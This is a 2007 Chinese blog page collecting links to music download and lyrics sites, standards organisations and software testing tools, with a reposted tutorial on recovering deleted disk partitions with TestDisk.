音域派(强烈推荐)- http://audio.zjg.jsinfo.net/
吉它秀- http://www.51guitar.com/
雅燃音乐天空(戏子强烈推荐)- http://www.flamesky.org/
新世纪网·纯音乐天堂(戏子强烈推荐)- http://www.cnnewage.com/
短歌行(戏子强烈推荐- http://www.audio100.com/
爵士当铺- http://www.jazzsky.cc/
R o c k Y e a r 摇滚年音乐网- http://rockyear.yeah.net/
DYING ART UNDERGROUND CDR LABEL- http://www.underfm.com.cn/
Music Game Zone 2ndMix- http://www.m-g-z.com/
我爱摇滚乐- http://www.sorock.com/
佛乐,永远开放,不着边际(强烈推荐)- http://fofilm.org/qianxiang/
爱尔兰音乐大全- http://www.drunkencrew.com/primary.htm
天籁音乐网- http://www.ynfox.com/music/index.htm
革命音乐空间- http://hong6666.myetang.com/
James Studio- http://jamesy.533.net/
大同音乐- http://61.134.13.16/mp3/omusic/index.php3
沉没的蟋蟀(强烈推荐)- http://61.136.63.120/rem/home.htm
=======歌词站=======
炫网资讯- http://music.liuxuan.com/
中文LRC歌词库- http://lrcman.yeah.net/
放肆音乐通歌词子站- http://www.yemusic.com/
歌词吾爱- http://www.51lrc.com/
=======在线MUSIC=======
彭彭听吧(强烈推荐)- http://www.oo-xx.com/
音乐红茶馆- http://www.musictea.com/
512city音乐时空- http://www.512city.net/music
MTV.com- http://www.mtv.com/
听吧音乐网- http://www.tingbar.com/
天虎音乐网- http://music.tyfo.com/
MTV-CHINA.com- http://www.mtv-china.com/feature
中国音乐在线- http://202.98.223.68/mtvtop/index2.htm
Realplay music- http://www.ahbb.net/music/realindex.htm
听听音乐- http://www.ting365.com/
网蛙- http://www.wanwa.com/
红尘驿站- http://www.thepasser.com/music/default.asp
華?#123;線上音樂雜誌- http://www.warnermusic.com.tw/
阿穆的感性音乐- http://www.amusicday.com/radio.htm
宽频音乐- http://www.c-mtv.com/
求索音乐无限- http://research.swufe.edu.cn/new/music.php
http://www.163ie.net/music/
=======下载音乐网站=======
BoxUp Music- http://www.boxup.com/
MP3 Download- http://www.finder.com.cn/mp3finder/
Soyou实达所有- http://idp.soyou.com/MP3/head
中文音乐- http://www.xuxule.com/
张雨生音乐大全- http://www.kkttkk.com/indexdown/
大陆mp3音乐超市- http://www.cdjmp3.com/
天籁村- http://music.qu-zhou.com/homepage/indexall.html
音乐极限- http://www.chinamp3.com/
mp3秀- http://www.mp3xu.com/
丽声世界- http://www.lssj.net/
汉源音乐- http://music.hyinfo.net/
MP3搜集网- http://www.88u8.com/mp3
弦音歌语- http://music.21youth.com/
mp3- http://cdp2331170.home.chinaren.com/mp3/mp3.htm
音乐先锋- http://music.188.net/
中文网络音乐资源中心- http://www.topmusic.net.cn/
天籁阁- http://www.99mp3.com/
365佳音网- http://music.ganzhou.com/
音乐磁场- http://www-jl.jl.cninfo.net/jlweb/music/
音乐加油站- http://www.yereal.com/
9SKY九天音乐网- http://www.9sky.com/
非常音乐网- http://www.verymusic.net/
摇滚音乐网- http://www.xmusics.net/
玩易音乐- http://www.jninfo.net.cn/music/
久久音乐- http://www.99music.net/index.htm
搜刮(强烈推荐)- http://www.sogua.com/
Bseven韩流娱乐网- http://www.bseven.com/
54dj俱乐部- http://www.54djclub.com/
DJ街区- http://www.dj-street.com/
飛行網- http://www.music.com.tw/
華人全球音樂網- http://www.mtvstar.com.tw/
混音电台- http://www.yesdj.com/Default.asp
娱乐在线- http://music.yn.cninfo.net/index.shtml
私人地方請立即離開- http://pop169.com/
我找我歌MP3搜索网- http://www.5find.com/
Music Heaven- http://www.charmusic.com/
Music site- http://music.zsnet.com/
中文音乐星空- http://hotcd.126.com/
中国乐坛欢迎您- http://www.cmusic.com.cn/
听者有心(强烈推荐)- http://www.musicool.com.cn/index.htm
音乐无极限- http://www.limitlessmusic.net/
浪琴音乐网- http://www.langqin.net/
轻音飞扬- http://music.stu.edu.cn/
吉通音乐在线- http://www.weihai.cngb.com/music/first.asp
飞天网景- http://music.lz.gs.cninfo.net/
亿兆音乐网之“音乐E+亿- http://music.emsky.com/
花木兰音- http://www.wmacn.com/
:::音乐之声::- http://music.ty.sx.cn/
济宁宽带数码港MP3音乐- http://tv.jninfo.net.cn/mp3/
金山网景-缤纷乐坛- http://music.jsol.net/index.html
网娱一派- http://song.beelink.com.cn/
======= 收集的音乐论坛=======
http://www.bluedown.net/cgi-bin/forums.cgi?forum=21

======= 专属音乐站点=======
穾唯,幻梦天水- http://www.douwei.net/
齐秦驿站扉页- http://www.kl.gz.cn/~flyingcg
BANDARI- http://bandari.dhs.org/
deflower.cn.st- http://deflower.cn.st/
音乐网站列表
九天音乐网 http://www.9sky.com
boxup music http://www.boxup.com
音乐听厅 http://www.nowok.net
搜刮音乐 http://www.sogua.com
嘻嘘音乐 http://www.xuxule.com
网蛙音乐网 http://www.wanwa.com
音乐极限 http://www.chinamp3.com
pop169.com http://pop169.com
音乐加油站 http://www.yemp3.com
音乐加油站(new) http://www.yevery.com
海盗音乐网 http://www.yuechen.com/index1.htm
中国音乐在线 http://www.mtvtop.com
音乐视听 http://www.real2000.org
久久音乐 http://www.99music.net
frankmp3 http://www.frankmp3.com
mp3秀 http://www.mp3xu.com
音乐天籁村 http://www.mp3boat.com
163音乐网 http://www.ting163.net/index.php
网易--唱片介绍
http://ent.163.com/new_entertainment/third_dir/010808_85399.html
音乐殿堂 http://www.91music.com
高阳MP3 http://www.gaomp3.net
听者有心 http://www.musicool.com.cn/index.htm
Soyou实达所有 http://idp.soyou.com/MP3/head/
紫龙歌词 http://www.51geci.com
天虎音乐网 http://music.tyfo.com
吉林信息港妙即刻网乐 http://music.jl.cninfo.net
中国音乐库 http://www.5460m.net
音乐的力量 http://music.gzinfo.net
269音乐频道 http://music.269.net
音乐前卫 http://music.yn.cninfo.net
音乐时空 http://www.sinofeng.com/music/
数码网 音乐频道 http://www.yes2.net/music/
网络音乐频道 http://mp3.attin.com/
焦作音乐无限 http://music.jztele.com
汉源音乐频道 http://music.hyinfo.net
Music site http://music.zsnet.com/
100mp3 http://www.100mp3.com/
视听频道 http://music.km169.net/
雅燃音乐天空 http://www.flamesky.com/
中华好歌网 http://www.haoge-china.com/index.html
短歌行 http://www.audio100.com
mp3火力网 http://garden.2118.com.cn/xu_allmp3/
音乐先锋 http://www.5see.com/mp3/
无限音乐网 http://kenfr.topcool.net/main1.html
天空音乐 http://99fun.com/skymusic/musicsky/index.asp
欧美流行风 http://61.139.37.148/music/
韩国音乐网 http://www.koreanll.com
彭彭听吧 http://www.pp-mp3.com
http://www.xuxule.com
http://www.9sky.com
http://www.chinamp3.com
http://www.audio100.com
http://hff.21cn.com:84
http://www.sogua.com
http://www.musiccool.net
http://music.tyfo.com
http://202.96.107.40/music
http://music.21youth.com
http://mp3download.myetang.com
http://www.99music.net
http://ent.sdinfo.net/music
http://music.qu-zhou.com
http://www.cardio.ru/~teehonya/mp3
http://www.mp3boat.com
http://www.tyclub.com
http://www.5566.org/music3-1.htm
http://www.wfinfo.net.cn/music/
http://www.hebnet.net/mp3/lp.htm
http://www.c-mtv.com
http://music.trueice.net/
http://music.zixia.net/
http://www.coolsong.com/bbs/index.asp
ftp://mp3:mp3@feng.d2g.com
http://www.koreanll.com/main.html#
http://www.beethoven.com
http://www.269.net
http://www.snepc.com

中文MP3网站
1.九天音乐 http://www.9sky.com/) [简体]
音乐站就该音乐多多。
2.听吧 http://www.tingbar.com/musichome/sinasearch.asp) [简体]
国内最大曲库,在线试听及网上送歌,流媒体音乐电台。
3.寂寞男孩--全新数字音乐 http://lonelyboy.yeah.net/)[简体]
mp3好站,按歌手和专辑分类,另有歌迷聊天、论坛、点歌区。
4.天籁村 http://tdk.126.com/)[简体]
mp3歌曲下载、歌迷档案、音乐故事,还有动漫音乐、古典音乐等类别。
5.mp3 Finder http://www.finder.com.cn/mp3finder/)[简体]
流行音乐网站,网罗中外流行歌曲和音乐,乐迷不容错过的好站。
6.100mp3 http://www.100mp3.com/)[繁体]
收集各种mp3网站,包括中港台的mp3。
7.中文MP3日报 http://www.sundaily.com/)[繁体]
主要提供港台歌曲的mp3下载。
8.所有MP3 http://idp.soyou.com/MP3/head/)[简体]
MP3无限,所有包揽。
9.5460中华mp3音乐库 http://www.5460m.net/)[简体]
华语mp3下载试听。
10.中国大陆mp3音乐超市 http://www.cdjmp3.com/)[简体]
大陆港台mp3歌曲大全,包括中外流行、摇滚、古典、民族等各种音乐。
11.mp3下载中心 http://mp3s.cnroot.com/)[简体]
mp3下载,mp3导航,mp3搜索引擎,mp3工具,mp3歌词。
12.mp3秀 http://www.mp3xu.com/)[简体]
港台,大陆,欧美mp3,midi,ram。
13.MP3-SKY.com http://www.mp3-sky.com/)[简体]
收录MP3音乐,包括流行,古典,摇滚,电影原声,轻音乐。
14.古典音乐网站《艺声在线MP3》 http://yszxmp3.cn99.com/)[简体]
古典音乐MP3和大量古典吉它曲MP3。
15.中国摇滚mp3站 http://chinarock.163.net/)[简体]
摇滚mp3下载,摇滚乐队,摇滚评论等。
16.MP3音乐空间 http://shiper.126.com/)[简体]
提供几千首中文MP3下载,MP3精品软件,MP3搜索引擎等!
17.Mp3音乐秀 http://mp3show.126.com/)[简体]
音乐下载和歌词下载。
18.吉他秀[Guitar show] http://www.51guitar.com/)[简体]
吉他大师、世界名琴、mp3、效果器、音箱、原创音乐和文章征集。
19.古典音乐网 http://www.classical.net.cn/)[简体]
古典乐新闻、音乐家、名曲介绍、入门、唱片、midi、mp3。
20.乌托邦摇滚 http://maogbl.at.china.com/)[简体]
前卫摇滚资讯、MP3下载、歌词下载、歌手&乐队发展史。
21.伊莎贝拉音乐网 http://my.soyou.net/~gegege/)[简体]
mp3下载,音乐排行榜,在线视听,歌词搜索。
22.汉源音乐频道 http://music.hyinfo.net/)[简体]
大量的 mp3 和 ra 歌曲。
23.赣州音乐天堂 http://music.ganzhou.com/)[简体]
MP3下载库。
24.音乐磁场 http://www.jl.jl.cn/jlweb/music/)[简体]
MP3下载,音乐软件,歌词查询。
25.什么都有—音乐站 http://music.ahbb.net/)[简体]
提供古典、流行、NewAge、摇滚以及电影原声MP3下载。
26.亚洲流行音乐广场 http://www.asiamp3.com/)[繁体]
包含歌曲推介,MP3资讯,工具和教学。
27.海盗音乐网 http://www.hdmusic.net/)[简体]
mp3下载,歌词,CD相片,MTV下载,娱乐资讯。
28.哆来咪--中国器乐曲 http://www.duolaimi.com/classic/duolaimi/my/)[简体]
中国民乐MP3下载基地。
29.天籁阁 http://tlg.ccoo.com/)[简体]
齐全的歌手资料、迅速的娱乐快报、打包的歌词下载、COOL MP3。
30.音乐听厅 http://music.nowok.com/)[简体]
音乐MP3,在线试听。
31.弦音歌语 http://music.21youth.com/)[简体]
歌星档案,排行榜,MIDI,mp4,MP3,mtv,游戏音乐,词曲查询
32.全新音乐栏目——天籁回寰 http://music.iszero.com/)[简体]
MP3和MIDI下载,乐坛新闻和排行榜及音乐播放软件等。
33.网络音乐资源中心 http://www.topmusic.net.cn/)[简体]
提供mp3、rm、vqf格式的歌库、曲库,明星档案。
34.mp3其他女歌手 http://www.only.net.cn/mp3/ow.htm) [简体]
欢迎来 only 网站,本站中文名为 绝无仅有 ! only网 ...
35.女歌手 http://playsite.myrice.com/mp3/female-9.htm)[简体]
36.mp3 http://www1.huali-cn.com/~spiderx/mp3_1.htm)[简体]
香港男歌手 香港女歌手 台湾男歌手 台湾女歌手
37.mp3 http://cdp2331170.home.chinaren.com/mp3/mp3.htm)[简体]
不要看这版内容这么少.其实里边的内容很丰富哦!作为记录着年轻人
梦想与激情的音乐篇章,校园民谣,以真诚与纯洁为标志。
38.电影原声音乐 http://www.redb52.com/musiccg15.asp)[简体]
一个详细介绍电影原声音乐的网站。
39.音乐马前炮 http://music.188.net/)[简体]
MP3下载,歌手资料,新闻,排行,以及网友点播,影视歌曲。
40.水滴音乐 http://drip.cnnb.net/)[简体]
提供英文歌词及查询,欧美乐队情况及娱乐资讯,排行榜,MP3下载。
41.日本娱乐新干线 http://japmusic.yesky.net/)[简体]
介绍关于日本娱乐的方方面面,影视音乐及jpop MP3下载。
42.海外一族,四海一家 http://chinto.isme.net/)[简体]
英文MP3s下载,加拿大华人生活点滴。
43.mp3 jukebox 点唱机 http://mpage.musicpage.com/)[繁体]
点唱站、灵温室、桌布店,主要收录港台、日本的最新流行歌曲。
44.天籁空间 http://61.134.13.16/mp3/omusic/index.php3
音乐欣赏、原创天地、歌星档案、mp3软硬件、音乐文化、音乐论坛
45.音乐极限 http://www.chinamp3.com/
中文MP3下载。歌曲排行,歌词下载,专辑碟库、留言点歌。
46.世纪青年mp3音乐站 http://music.21youth.com/
3000首以上的各类精选mp3和相关音乐评论。
47.飞行网音乐下载 http://media.music.com.tw/download/down.asp)[繁体]
台湾著名音乐站点音乐下载基地。
48.MP3 World-MP3世界 http://www.bseven.com/mp3/
韩国MP3中国MP3日本、西洋、法国、民族、的士高、影视等MP3。
49.时代音乐天地 http://www.shanghai-window.com/shan...ter/magazine/
流行音乐的天地。
50.mp3下载中心 http://www.skyhits.com/mp3.htm
mp3下载,mp3导航,mp3搜索引擎,mp3工具,mp3歌词。
51.mp3搜集网 http://www.88u8.com/mp3/
最新MP3下载。
52.MP3歌曲经典 http://aimer.home.chinaren.net/
歌迷的家园,有大量MP3经典歌曲。
53.流行mp3大全 http://www.asia-top.com/click/?account=googoo1
一千多首大陆、港台MP3歌曲下载,并提供强大的搜索引擎。
54.流行MP3音乐库 http://www.kl.gz.cn/~sunshine/music/
流行MP3音乐高速下载。
55.Popmp3 http://popmp3.6to23.com/
Mp3歌曲下载。
56.kump3 http://kump3.myetang.com/
mp3下载,收听。
57.MP3大放送 http://www.5find.com/index.htm
MP3音乐下载.
58.mp3在线酷听 http://musicword.51.net/
MP3下载尽在MP3在线酷听。
59.MP3之恋 http://go3.163.com/~mp3love/index.html
娱乐新闻、音乐社区、最新MP3音乐下载、音乐排行榜。
60.mp3大世界 http://pmp3.home.sohu.com/
娱乐新闻.最新mp3下载试听.中文mp3金曲.国外流行mp3。
61.MP3下载站 http://mp3xiu.myetang.com/
大量MP3下载,在线收听。
62.月歌心曲 http://go4.163.com/~youyueer/
原创音乐。
63.汉源音乐频道 http://music.hyinfo.net/
大量的 mp3 和 ra 歌曲。
64.精彩影室 http://jchp.edu.chinaren.com/
本站提供影视下载和在线播放,电视剧,动画片,经典MP3。
65.海盗音乐网 http://musicol.edu.chinaren.com/index1.htm
66.娱乐基地之音乐基地 http://www.etbase.net/music/
流行音乐下载,明星档案,mp3下载。
67.星易资讯网 http://www.starea.com/
娱乐新闻,MP3下载,音乐欣赏,名星档案,名星靓相,名星聊天室。
英文MP3网站
1.MP3.COM http://www.mp3.com/) [英文]
MP3入门、下载、工具及相关新闻。提供详细分类目录查询歌曲。
2.mp3site http://www.mp3site.com/) [英文]
介绍优秀的mp3网站
3.Mp3 Box http://mp3.box.sk/) [英文]
MP3下载、在线试听、歌词等项,还提供MP3搜索功能
4.Music4free.com http://www.music4free.com/) [英文]
国外优秀mp3网站。
5.dmusic.com http://www.mp3extreme.com/) [英文]
荟萃国外优秀mp3网站、相关软硬件、新闻、mp3搜索引擎。
6.MP3boy http://mp3boy.yeah.net/)[英文]
欧美音乐,MP3,音乐专辑。
7.Best of MP3 http://www.crankpuppy.com/)[英文]
大量mp3下载,提供mp3下载、歌词搜索、CD搜索等。
8.emp3 http://www.emp3dance.com/)[英文]
最新mp3舞曲下载。
9.数码音乐 http://www.cybertropix.com/)[英文]
通过它,你可以找到关于mp3的新闻、软件、网站以及mp3音乐
10.MUSIC.TUCOWS.COM http://tucows.mp3.com.cn/)[英文]
提供大量的MP3下载。
11.MP3搜索(Lycos MP3 Search) http://music.lycos.com/downloads/)[英文]
可按歌名和歌手名字查寻MP3歌曲。
12.马友友(Ma Yo-Yo) http://www.yo-yoma.com/)[英文]
著名大提琴手。
13.电影音乐(FilmMusic) http://www.filmmusic.com/)[英文]
内容包括问题解答,电影作曲家,购买等。
14.电影声线 http://www.filmtracks.com/)[英文]
电影音乐人、新老电影音乐作品等.
15.梦之园电影音乐 http://www.fod-online.com/)[英文]
电影音乐在线出版物.
16.Seasons Greetings.org http://www.seasonsgreetings.org/)[英文]
圣诞老人的传说,传统和现代故事及庆祝圣诞的音乐电影。
posted @ 2007-12-02 11:35 MEYE 阅读(2678) | 评论 (1)编辑 收藏
标准网址大全:

国际性标准化组织
ATIS-世界无线通讯解决方案联盟 BIPM 国际计量局 BISFA国际人造纤维标准局
CAC 食品法规委员会 CCSDS太空数据系统咨询委员会 CIB国际建筑结构研究革新委员会
CIE 国际照明委员会 CIMAC 国际燃气轮机委员会 EIA 世界电气工业协会
FAO 联合国粮农组织 FDI 世界口腔联盟 FID 国际信息文档联盟
GSM-全球移动通讯系统 IAEA 国际原子能机构 IAF 国际认证论坛
IATA 国际航空运输协会 ICAO 国际民航组织 ICC 国际谷物科技协会
ICID 国际水利委员会 ICJ 国际法院 ICRP 国际辐射防护委员会
ICRU 国际辐射单位与测量委员会 IDF 国际乳品业联合会 IEC 国际电工委员会
IETF国际互联网工程师作业规程 IFAN 国际标准用户联盟 IFLA国际图书馆及馆员联合会
IGU 国际气体联盟 IHO 国际水文组织 IIR 国际制冷学会
ILAC 国际实验室鉴定协作联合会 ILO 国际劳工组织 IMF 国际货币基金组织
IMO 国际海事组织 INMARSAT 国际海事卫星组织 ISO 国际标准化组织
ISTA 国际种子测试协会 ITU 国际电讯联盟 IUPAC 国际提纯及化学应用联盟
IWTO 国际毛纺组织 JTC1 国际标准技术联合会 MIGA 国际多边投资担保代理
OIE 国际动物流行病学局 OIML 国际法定计量组织 OIV 国际葡萄与葡萄酒局
RILEM国际材料与结构研究
实验联合会
UIC 国际铁路联合会 UMTS 全球移动通讯系统论坛
UNDP 联合国开发计划署 UNCTAD 联合国贸易与发展会议 UNEP 联合国环境规划署
UNESCO 联合国教科文组织 UNFPA 联合国人口基金 UNICEF 联合国儿童基金会
UPU 万国邮联 UWC 全球无线通讯协会 WCO 世界关税组织
WHO 国际卫生组织 WIPO 国际知识产权组织 WMO 世界气象组织
WTO 世界贸易组织 OITAF 国际索道协会



区域性标准化组织
欧洲标准化委员会(CEN) 欧洲电讯标准化协会(ETSI) 欧洲质量组织(EOQ)
北大西洋公约组织(NATO) 欧洲认证协会(EA) 欧洲标准计量协会(EUROMET)
欧洲电工标准化委员会(CENELEC) 欧洲海事数据模型产品交换标准协会(EMSA) 联合国欧洲经济委员会(UNECE)
欧洲国家法定计量服务组织(WELMEC) 欧亚标准计量认证委员会(EASC) 太平洋地区标准议会(PASC)
泛美标准化委员会(COPANT) 阿拉伯工业发展与矿业组织(AIDMO) 南亚国家协会(ASEAN) 
亚太经合组织(APEC)  




地方标准化站点
浙江质量网 海南质量网 上海标准化服务信息网
北京标准网上书店 宁波标准网 嘉兴标准网
辽宁标准信息网 广西农业质量标准网 无锡标准服务网
河南工业信息网 赛宝标准城 台湾机电产品标准 CED
福建省标准文献中心 上海环境热线



http://www.21ic.com/
http://www.alldatasheet.net/


posted @ 2007-12-02 10:10 MEYE 阅读(1068) | 评论 (3)编辑 收藏

[转]http://www.e-gov.org.cn/wangluoanquan/shujuhuifu/200710/76868.html
    介绍两个数据恢复软件:TestDisk 和 PhotoRec。其中,TestDisk 主要用来恢复损坏的分区以及拯救无法引导的磁盘;而 PhotoRec 则主要用于恢复损坏的数据文件,包括文档、图片、视频等。

  TestDisk 及 PhotoRec 皆支持在 Windows、Linux、Unix、Mac OS 等系统上执行。TestDisk 还支持包括 FAT、NTFS、Ext2、Ext3、ReiserFS、RAID 等在内的广泛的文件系统。而 PhotoRec 也能够在硬盘、光盘、优盘等各种存贮介质上工作。

  虽然数据恢复软件可以尽最大可能帮助我们挽回损失,但我们还是应该养成时常备份的习惯。只有真正做到有备无患,才能确保万无一失。

  由于错误的使用分区工具而带来的分区丢失,硬盘磁盘分区遭到损坏的情况下,使用叫做「TestDisk」的工具可以复原已损坏的分区。下面就介绍一下如何使用TestDisk急性恢复(注)。

  注:可以使用TestDisk进行复原的场合,也就是硬盘HDD上的分区(该分区有原有数据纪录)已经损坏的情形。但是如果损坏之后,重新再次做成了新分区的话,复原的可能性比较小,很困难。

  TestDisk可以从http://www.cgsecurity.org/wiki/PhotoRec下在(注)。下载Fedora Core 6 对应的RPM包文件。例如、如果使用GNOME的分区管理软件「GParted」(Gnome Partition Editor)误删除了/dev/hda5分区。

  注:Linux下恢复误删除的文件 中介绍了使用「PhotoRec」对误删除的文件进行恢复。

  注:TestDisk是恢复分区信息的软件、针对分区表被删除以及MBR(master boot record)被修改的恢复分区信息软件:TestDisk、使用前请先确认。

  对于安装和配置请参照Linux下恢复误删除的文件。

  以root权限登陆,启动TestDisk。

  # testdisk

  首先,选择恢复操作中的log文件(testdisk.log)的纪录方式。

  [Create]新建
  [Append]追加
  [No Log]不纪录


  选择log文件的记录方式

  选择了log文件的记录方式后、显示了处于连接状态的磁盘设备。然后选择要恢复的磁盘分区、选择[Proceed]。在这里选择装有Linux/Windows XP的硬盘HDD「Disk /dev/hda」。

  在列出的磁盘设备中,选择要恢复的分区,然后选择磁盘分区的种类。Linux/Windows就选[Intel]。

  下示画面中选择[Analyse],对分区进行分析。



  显示了当前分区的状态。然后选择[Proceed]、显示分析結果。


  分区状态表示

  分区结构以绿色文字表示。和分析之前的画面相比、Linux的分区增加了一项,这个就是被误删除了的分区,选择之。

  按[P]键,该分区根部的文件和索引被表示出来,如果显示正确的画,分析结果就可以正确的推算。然后用这个方法,对其他的盘符进行操作。

  分区的分析结果

  按[Enter]键,显示分析结果被反映到磁盘。并且被恢复。

  现在的状态,恢复的信息还没有被写到硬盘上,必须选择[Write],才能真正的被写到磁盘上。写操作执行的确认信息显示的时候,按[Y]键确认之。


  写操作执行完毕,需要重新启动,按[Enter]键。

  最后退出[Quit],TestDisk结束。系统重新启动。

posted @ 2007-11-24 14:12 MEYE 阅读(666) | 评论 (0)编辑 收藏
软件测试工具网址大全

压力测试工具集工具相关网址

LoadRunner  http://www.mercuryinteractive.com/products/loadrunner/

SilkPerformer  http://www.segue.com/products/lo ... e-testing/index.asp

QALoad      http://www.compuware.com/products/qacenter/qaload.htm

WebLoad

OpenSTA开源

Jmeter开源


自动测试工具集工具相关网址

WinRunner   http://www.mercuryinteractive.com/products/winrunner/

SilkTest         http://www.segue.com/products/fu ... esting/silktest.asp

QARun          http://www.compuware.com/products/qacenter/qarun.htm

SAFS             http://safsdev.sourceforge.net/Default.htm

Bug追踪系统工具相关网址

JIRA         http://www.atlassian.com/software/jira/

Bugzilla     http://www.bugzilla.org

TestDirector    http://www.mercuryinteractive.com/products/testdirector/

GNATS           http://www.gnu.org/software/gnats/

TestTrackPro      http://www.seapine.com/ttpro.html

类型 名称 公司 网址

测试设计工具

ALLPAIRS http://satisfice.com/

Caliber-RBT http://www.tbi.com

Caliber-RM http://www.tbi.com

DARTT http://home.t-online.de/home/bsse.info/

Datatect http://www.datatect.com

DGL http://www.csee.usf.edu/~maurer/

McCabe Test http://www.mccabe.com

McCabe TestCompress http://www.mccabe.com

Multi http://www.testing.com/

Panorama C/C++ http://www.softwareautomation.com

Reactis Tester http://www.reactive-systems.com

TDGEN http://www.soft.com/Products/index.html

T-VEC Test Generation System http://www.t-vec.com

GUI测试驱动器 Android http://www.smith-house.org/open.html

Atesto Functional Testing Service "http://www.atesto.com/ "

AutoTester for Windows http://www.autotester.com

AutoTester for OS/2 http://www.autotester.com

CAPBAK http://www.soft.com/Products/index.html

Certify http://www.worksoft.com/

CitraTest http://www.tevron.com

e-Monitor http://www.empirix.com/

e-Tester http://www.empirix.com/

eValid http://www.e-valid.com/

imbus GUI Test Case Library http://www.imbus.de

QARunTM http://www.compuware.com/qacenter

Panorama-2 "http://www.softwareautomation.com "

QC/Replay http://www.centerline.com

QES/EZ for GUI http://www.qestest.com

Monitor Master http://www.argogroup.com

SilkTest http://www.segue.com

Smalltalk Test Mentor http://www.silvermark.com

Test Now http://www.stlabs.com/

TestQuest Pro Test Automation System http://www.testquest.com

TestRunner http://www.qronus.com/

WinRunner Mercury Interactive http://www.merc-int.com

xrc - X Remote Control http://www.absol.com/

Xrunner http://www.merc-int.com

负荷和性能工具 ANTS - Advanced .NET Testing System http://www.red-gate.com/

Atesto Automated Load Test http://www.atesto.com/

AutoController http://www.autotester.com

AutoController with Virtual DirectTest http://www.autotester.com

Benchmark FactoryTM http://www.quest.com

Capacity Calibration http://www.capcal.com

Chariot? http://www.ganymedesoftware.com

CYRANO ServerPack http://www.cyrano.com

e-Load http://www.empirix.com/

FORECAST http://www.facilita.co.uk

ITF - Internetworking Test Facility http://www.acomtech.com

Load http://www.pushtotest.com

Load Runner Product Family http://www.merc-int.com

Microsoft Web Application Stress Tool (WAS) http://webtool.rte.microsoft.com/

NetPressure http://www.syntheticnets.com

PegasusTM http://www.ganymedesoftware.com

Portent http://www.loadtesting.com

preVue-ASCII http://www.rational.com/products/prevue/

preVue-X http://www.rational.com/products/prevue/

"PureLoad" http://www.minq.se

QALoadTM http://www.compuware.com

Rational Suite PerformanceStudio http://www.rational.com/products/pstudio/

"Rational SiteLoad" http://www.rational.com/products/siteload/

RemoteCog Product Family http://www.fiveninesolutions.com

Scapa StressTest for Citrix MetaFrame http://www.scapatech.com

SilkPerformer http://www.segue.com/

Teleprocessing Network Simulator http://www.networking.ibm.com/tns/tnsprod htm

WebLoad 3.0 http://www.radview.com

Web Roller http://webapplicationstesting.com

Webserver Stress Tool http://www.paessler.com

WebSpray http://www.redhillnetworks.com

非GUI测试驱动器

"AdaTEST" http://www.qcsltd.com

ANVL http://www.midnight.com/

AutoAdviser http://www.autotester.com

AutoTester Client/Server for use with SAP R/3 http://www.autotester.com

Cantata http://www.qcsltd.com

"CONVEX Integrated Test Environment (CITE)" http://www.cirr.com/

CTA++ http://www.testwell.fi

CTB http://www.testwell.fi

ITF - Internetworking Test Facility http://www.acomtech.com/

OTF - An Object Testing Framework "http://www.mcgsoft.com/ "

QADirector? http://www.compuware.com/qacenter

"QCIT" http://www.qistest.com

QES/Architect http://www.qestest.com

QES/EZ http://www.qestest.com

QMTest http://www.codesourcery.com/

SilkPilot http://www.segue.com

SMARTS http://www.soft.com/Products/index.html

SDTF - SNA Development Test Facility http://www.acomtech.com

TALC2000 http://www.talc2000.com

TBGEN http://www.testwell.fi

TEO http://www.gako.fr

Test Manager http://www.launchsoftware.com

Test Mentor - Java Edition http://www.javatesting.com

Test Library Manager http://www.autotester.com

"Test Station" http://www.autotester.com

TestWorks http://www.soft.com/Products/index.html

VectorCAST http://www.vectors.com

VersaTest http://www.softsell.com

测试实现工具 Access for DB2 http://www.princetonsoftech.com/

Aprobe http://www.ocsystems.com

Aqtest http://www.automatedqa.com/

BoundsChecker compuware http://www.numega.com/

C++Test http://www.parasoft.com

DateWise FileCompare http://www.datewise.com/mt

dmalloc http://www.dmalloc.com/

EXDIFF http://www.soft.com/Products/index.html

"fakesmtpd" http://www.jera.com/

"FREstimate" http://www.softrel.com/

HeapAgent http://www.microquill.com

InCtrl5 http://www.zdnet.com/downloads/stories/info/0,77424,.html

JSUnit http://www.edwardh.com/jsunit/

Junit http://www.junit.org/

MDBDiff http://jupiter.drw.net/matpie/PB ... s/retired/MDBDiff.h tml

Move for DB2 http://www.princetonsoftech.com/

mpatrol http://www.cbmamiga.demon.co.uk/mpatrol/

"ObjectTester" http://www.obsoft.com

Inuse http://www.parasoft.com

Rational Purify http://www.rational.com/products/purify_unix/index.jtmpl

Rational Test RealTime http://www.rational.com

SilkRealizer http://www.segue.com

WhenToStop http://www.softrel.com/

ZeroFault http://www.tkg.com

测试评估工具

AdaTEST95 http://www.qcsltd.com

Aonix Validator/Req http://www.aonix.com/

C-Cover http://www.bullseye.com

Cantata++ http://www.qcsltd.com

CodeTEST http://www.amc.com

CTC++ http://www.testwell.fi

GlassJARToolkit http://glassjartoolkit.com/gjtk.html

"Hindsight/TCA"http://www.integrisoft.com

Hindsight/TPA http://www.integrisoft.com

"Insure++"http://www.parasoft.com

"Java Test Coverage" http://www.semdesigns.com/Products/TestCoverage/index.html

LDRA Testbed http://www.ldra.com

"LOGISCOPE toolset" http://www.telelogic.com/

ObjectCoverage http://www.obsoft.com

Panorama C/C++ "http://www.softwareautomation.com "

Rational PureCoverage http://www.rational.com/products/purecoverage/index. jtmpl

"TCMON" http://www.testwell.fi

TCA "http://www.parasoft.com "

TCAT C/C++ http://www.soft.com/Products/index.html

TCAT for Java http://www.soft.com/Products/index.html

TCAT-PATH http://www.soft.com/Products/index.html

T-SCOPE http://www.soft.com/Products/index.html

TestWorks/Coverage http://www.soft.com/Products/index.html

静态分析工具

AccVerify SE for FrontPage http://www.hisoftware.com/msacc/

Aivosto Project Analyzer http://www.aivosto.com/vb.html

ASSENT http://www.tcs.com

ccount "http://www.cs.umd.edu/users/cml/resources/cmetrics/ "

"Cleanscape lint-Plus" http://www.cleanscape.net/stdprod/lplus/index.html

ClearMaker http://www.balthazar.hu

"CMT++" http://www.testwell.fi

CodeCompanion http://www.jenssoft.com

CodeSurfer http://www.grammatech.com

"Dependency Walker" http://www.dependencywalker.com/

floppy/fflow http://netlib2.cs.utk.edu/floppy/

ftnchek http://www.dsm.fordham.edu/~ftnchek

Hindsight/SQA http://www.integrisoft.com

Krakatau http://www.powersoftware.com/

McCabe QA http://www.mccabe.com

METRIC http://www.soft.com/Products/index.html

ObjectDetail http://www.obsoft.com

CodeWizard http://www.parasoft.com

Jtest http://www.parasoft.com

PC-lint/FlexeLint http://www.gimpel.com/

PC-Metric http://www.molalla.net/~setlabs

PolySpace Verifier http://www.polyspace.com

Plum Hall SQS http://www.plumhall.com

QA C http://www.prqa.co.uk

QA C++ http://www.prqa.co.uk

